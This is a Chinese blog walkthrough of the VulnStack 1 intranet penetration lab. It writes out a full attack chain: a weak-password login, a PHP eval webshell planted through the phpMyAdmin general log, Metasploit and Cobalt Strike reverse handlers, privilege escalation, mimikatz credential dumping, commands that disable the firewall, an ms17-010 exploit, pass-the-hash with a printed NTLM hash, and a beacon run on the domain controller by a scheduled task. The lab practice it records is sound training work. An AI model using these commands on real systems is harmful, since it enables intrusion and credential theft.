前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >内网渗透靶机-VulnStack 1

内网渗透靶机-VulnStack 1

作者头像
黑白天安全
发布2020-05-20 15:56:18
1.3K0
发布2020-05-20 15:56:18
举报

前言:

靶机是红日团队开源的一个靶机,靠着这个环境学习到了很多啊哈哈哈!现在自己也是会搭建一些环境了!也是靠着这个靶机从0开始学内网,了解内网渗透,虽然很菜很菜很菜!靶机下载地址如下:

代码语言:javascript
复制
http://vulnstack.qiyuanxuetang.net/vuln/detail/2/

WEB服务器:windows7系统

代码语言:javascript
复制
外网网卡IP:192.168.1.102
内网网卡IP:192.168.52.143

域成员:windows server 2003系统

代码语言:javascript
复制
网卡IP:192.168.52.141

域控服务器:windows server 2008系统

代码语言:javascript
复制
网卡IP:192.168.52.138

攻击机器:kali windows 10

代码语言:javascript
复制
kali IP:192.168.1.112
CobaltStrike服务器IP:192.168.1.108

打开目标网站,发现了网站有后台路径泄露

后台弱密码

进来后台直接admin/123456弱密码搞进去,然后发现前台模板有php文件编辑,可以直接写shell上去,毕竟还是靶机,实战弱口令公网上我倒是进入过,但是不知道是不是蜜罐哈哈哈!

但是这个时候不知道路径,无法连接到shell。那我就御剑上去扫描一波http://192.168.1.117/yxcms/路径下的目录,发现了有robots.txt、protected和pubic。其中protected有信息泄露,路径可以浏览得到

这个时候只要浏览找出刚刚修改过的页面就可以使用shell连接器连接了

在对一级目录扫描发现了备份文件、phpmyadmin和phpinfo.php。打开phpinfo.php发现了觉得路径,是phpstudy搭建的服务器

phpmyadmin日志拿shell

打开phpmyadmin进去也是直接root / root 登陆,那就可以使用到phpmyadmin日志getshell。在现实网站部署中还是很多网站选择使用phpmyadmin的WEB界面来管理数据库的!首先我使用绝对路径写入shell,发现写入失败。

如果写入文件失败的话,要么权限不够要么就是secure_file_priv的原因。我们先整理一些sql写入一句话的条件:secure_file_priv = 为空、知道物理路径、有写入权限,那么上面报错可以知道secure_file_priv现在了我们写入一句话木马,这个时候我们可以通过phpmyadmin全局日志来回去webshell

代码语言:javascript
复制
show variables like '%general%';查询全局日志变量配置

开启general_log 将所有查询语句记录到新指定的可访问的文件中

代码语言:javascript
复制
set global general_log = on

然后设置全局日志的路径

代码语言:javascript
复制
set global general_log_file = 'C:/phpStudy/WWW/rizi.php'

这个时候我们通过select写入一句话木马到日志中,那就可以使用shell连接工具连接shell了

代码语言:javascript
复制
SELECT '<?php eval($_POST[pass]);?>'

最后两个shell都可以正常连接!哈哈哈哈贪玩一会!

进入内网

由于对方是windows系统,这里直接生成powershell使对方上线CobaltStrike

在获取CobaltStrike Shell之后获取的是Administrator权限,使用ms14-058提权成功

之后加载mimikatz 模块获取到了机器的明文密码和hash

把CobaltStrike的会话移植到msf上。在msf上面设置监听等待会话移植过来

代码语言:javascript
复制
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.
set lport 2978
exploit

在CobaltStrike设置监听,这个时候设置为foreign监听,并且payload和msf设置的要一样(场景一:如果CS服务器搭建在VPS上使用公网IP,msf在内网使用私有IP,这个时候需要将内网地址端口映射到公网IP的端口上)

然后选择要派生的beacon,右键-->增加会话,选择刚刚配置的foreign监听器

SMB Beacon使用命名管道通过父级Beacon进行通信,此流量封装在SMB协议中,所以SMB Beacon相对隐蔽,绕过防火墙有奇效。这也是CobaltStrike作者推荐的。设置监听,使用Beacon SMB

然后选择Beacon 右击,选择增加会话,选择SMB的监听器,然后就可以转移到SMB Beacon上了

然后判断网络,发现有内网存在,有两张网卡,一张网卡通向内网

判断是否有域存在,查看网关IP地址、DNS的IP地址、域名、本机是否和DNS服务器处于同一网段

代码语言:javascript
复制
ipconfig /all

通过反向解析查询命令nslookup来解析域名,用解析的域名得到的IP地址进行对比判断域控和DNS服务器是否在同一台服务器上。执行命令查看域的域名,发现存在god.org域

查询命令

代码语言:javascript
复制
whoami
systeminfo
nslookup god.org    # 解析域名IP地址
net config workstation  #查询当前登陆域及登陆用户信息
net view /domain   #查看域
net time /domain  # 获取域服务器的时间

查询操作系统信息

代码语言:javascript
复制
systeminfo | findstr /B /C:"OS Name" /C:"OS Version"  # 英文操作系统
systeminfo | findstr /B /C:"OS 名称" /C:"OS 版本"   # 中文操作系统
echo %PROCESSOR_ARCHITECTURE%    # 查看系统系统结构

查看安装的软件以及版本、路径信息

代码语言:javascript
复制
wmic product get name,version   # 使用wmic操作
powershell "Get-WmiObject -class Win32_Product | Select-Object -Property name,Version"   #使用powershell进行操作

查询信息命令

代码语言:javascript
复制
wmic service list brief   # 查询本机服务信息
tasklist                   #查询进程
wmic process list brief   #使用wmic查询进程
wmic  startup get command,caption   #查看启动进程
schtasks /query /fo list /v      # 查看计划任务
net statistics workstation     # 查看主机开机时间
netstat -ano    #查询端口列表
wmic qfe get caption,description,hotfixid,installedon   #查询本机安装的补丁

查看机器内账号信息

代码语言:javascript
复制
net user    #查看本机用户列表
net localgroup administrators  # 获取本地管理员
query user || qwinsta   # 获取在线用户
net session    # 列出计算机所连接的客户端之间的会话
net share   # 查看本机共享列表
wmic share get name,path,status #使用wmic 查询本机共享列表

关闭防火墙

代码语言:javascript
复制
netsh firewall set opmode disable   # windows server 2003 之前
netsh advfirewall set allprofiles state off  # windows server 2003 之后

开启3389端口

代码语言:javascript
复制
注册表打开:
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f   #开启的话把0改为1
wmic开启3389:
wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1

探测域内存活的主机

代码语言:javascript
复制
Ping命令探测内网主机
for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.52.%I | findstr "TTL="
使用Ladon插件在CobaltStrike上查询存活主机
Ladon 192.168.52.0/24 OnlinePC

查找域内信息

代码语言:javascript
复制
net view /domain:god # 查看域内所有计算机
net group /domain  #查看域内所有用户列表
net group "domain computers" /domain #查看域成员计算机列表
  • Domain Admins :域管理员
  • Domain Computers:域内机器
  • Domain Controllers:域控制器
  • Domain Guests:域访客
  • Domain Users:域用户
  • Enterprise Admins:企业系统管理员 nltest /domain_trusts #获取域信任信息 sltest /DCLIST:god #查看域控制器机器名 net group "domain admins" /domain #查询域管理员用户 net group "Enterprise admins" /domain # 查询管理员用户在

横向移动获取域内主机

代码语言:javascript
复制
msf添加路由,使用代理进入内网
run  get_local_subnets    查看当前网段
run autoroute -s 192.168.52.0/24 添加路由段

在Metasploit中激活路由配置,并且该配置必须能够通过socks4代理进行转发。

代码语言:javascript
复制
use auxiliary/server/socks4a
set srvhost 192.168.1.112
run

进入/etc/proxychains.conf 在底下修改,因为我们socks4模块设置为了192.168.1.112 1080端口.

这个时候代理成功,可以进入内网了,使用nmap来扫描域成员192.168.52.141的信息发现了有ms17-010漏洞,这里值得注意的是socket代理不支持ICMP协议

代码语言:javascript
复制
proxychains nmap -sT -sV -Pn -n -p22,80,135,139,445 --script=smb-vuln-ms17-010.nse 192.168.52.141

这个时候就可以使用msf内置的永恒之蓝漏洞去获取域成员的shell了,这个时候需要注意的是使用payload的时候要使用正向shell去连接

代码语言:javascript
复制
search ms17-010
use exploit/windows/smb/ms17_010_psexec
set payload windows/meterpreter/bind_tcp
set rhost 192.168.52.141
run

当然除了使用ms17-010来获取域成员主机之外,也可以使用哈希传递去横向移动获取域成员的主机,在域环境中计算机登陆时候使用的大都是域账号,大量计算机在安装的时候会使用相同的本地管理员账户和密码。如果计算机的本地管理员账户密码也是相同,就可以使用哈希传递的方法对内网其他计算机进行攻击。可以通过哈希传递和明文登陆来横向获取其他机器。

使用刚刚mimikatz获取下来的明文密码进行传递,也可以使用哈希来传递

这样对方域成员主机就可以上线了!

这里为了更加好的回去对方内网的主机,直接使用对方服务器作为跳板进入内网获取跟多主机,使用earthworm进行socks代理。把EW对于对方服务器操作系统的版本上传上去,然后输入命令代理

代码语言:javascript
复制
ew_for_Win.exe -s ssocksd -l 1082

然后在Proxifier配置相对于的配置Windows就可以访问内网了。

Linux下可以使用命令行代理工具proxychains来代理进入内网

然后Linux也代理成功!

使用proxychains 代理msf打通内网主机,这里打通了域成员!

这个时候以及获取到了两个机器的控制了!然后使用mimikatz获取明文密码或者ntlm哈希来进行获取域控

使用获取下来的ntlm哈希进行哈希传递获取访问域控的权限,接着使用dir 就可以查看域控内网资源了

代码语言:javascript
复制
mimikatz sekurlsa::pth /domain:god.org /user:administrator /ntlm:81be2f80d568100549beac645d6a7141

dir \\192.168.52.138\c$

然后设置中转监听,这个监听IP要内网可以通信的内网IP

然后生成木马,再把木马copy到域控,设置好任务计划,启动木马之后就能够获取域控的shell了

代码语言:javascript
复制
copy C:\beacon.exe \\192.168.52.138\c$
shell schtasks /create /tn "test" /tr C:\beacon.exe /sc once /st 18:05 /S 192.168.52.138 /RU System  /u administrator /p "hongrisec@2020"
schtasks /delete /s 192.168.52.138 /tn "test" /f

最后再让msf上面获取的域成员windows server 2003上线到CobaltStrike

!!!最后还是学习到了很多,把内网安全攻防这本书看了一边,还是由很多不懂哈哈哈!

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2020-05-08,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 黑白天实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 前言:
  • 后台弱密码
  • phpmyadmin日志拿shell
  • 进入内网
  • 横向移动获取域内主机
相关产品与服务
弹性公网 IP
弹性公网 IP(Elastic IP,EIP)是可以独立购买和持有,且在某个地域下固定不变的公网 IP 地址,可以与 CVM、NAT 网关、弹性网卡和高可用虚拟 IP 等云资源绑定,提供访问公网和被公网访问能力;还可与云资源的生命周期解耦合,单独进行操作;同时提供多种计费模式,您可以根据业务特点灵活选择,以降低公网成本。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档